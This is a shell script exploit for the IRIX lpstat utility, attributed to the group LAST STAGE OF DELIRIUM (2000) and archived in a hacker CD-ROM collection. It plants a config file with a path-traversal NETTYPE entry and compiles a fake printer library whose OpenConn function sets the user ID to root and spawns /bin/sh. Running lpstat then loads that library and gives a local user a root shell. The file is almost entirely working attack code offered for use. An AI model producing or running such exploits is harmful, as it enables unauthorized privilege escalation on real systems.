home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / irix / irx_lpstat2.txt < prev    next >
Encoding:
Text File  |  2002-10-22  |  1.2 KB  |  44 lines

  1. #!/bin/sh
  2. ## copyright LAST STAGE OF DELIRIUM jul 2000 poland            *://lsd-pl.net/ #
  3. ## /usr/bin/lpstat                                                             #
  4.  
  5. EXECUTABLE=/usr/bin/lpstat
  6. FILE=file
  7. LIBRARY=lsd
  8. DIRECTORY=tmp
  9.  
  10. cd $DIRECTORY
  11. cat > $FILE << 'EOF'
  12. HOSTNAME=localhost
  13. HOSTPRINTER=bzzz-z
  14. EOF
  15. echo NETTYPE=../../../../$DIRECTORY/lsd >> $FILE
  16. chmod 666 $FILE
  17. cat > $LIBRARY.c << 'EOF'
  18. OpenConn(){
  19.     printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
  20.     printf("/usr/bin/lpstat for irix 5.3 6.2 6.3 6.4 6.5 6.5.11 IP:all\n");
  21.     printf("\n");
  22.     setreuid(getuid(),0);setuid(0);setgid(0);
  23.     execl("/bin/sh","sh",0);
  24. }
  25. CloseConn(){} ListPrinters(){} SendJob(){} CancelJob(){} WaitForJob(){}
  26. GetQueue(){} StartTagging(){} StopTagging(){} Install(){} AddTimeout(){}
  27. RemoveSemiColons(){} CreateInterface(){} InstallPrinter(){}
  28. InstallIcon(){} SockRead(){} IsDest(){} BSDSendJob(){} ListAllPrinters(){}
  29. EOF
  30. cc -c $LIBRARY.c -c -o $LIBRARY.o
  31. ld -shared $LIBRARY.o -o $LIBRARY.so
  32. rm -rf $LIBRARY.[co] so_locations
  33. if [ ! -f "$LIBRARY.so" ]
  34.     then
  35.     echo "error: building library"
  36.     exit 1
  37. fi
  38. chmod 666 $LIBRARY.so
  39.  
  40. $EXECUTABLE -n ../../../../../$DIRECTORY/$FILE
  41.  
  42.  
  43.  
  44.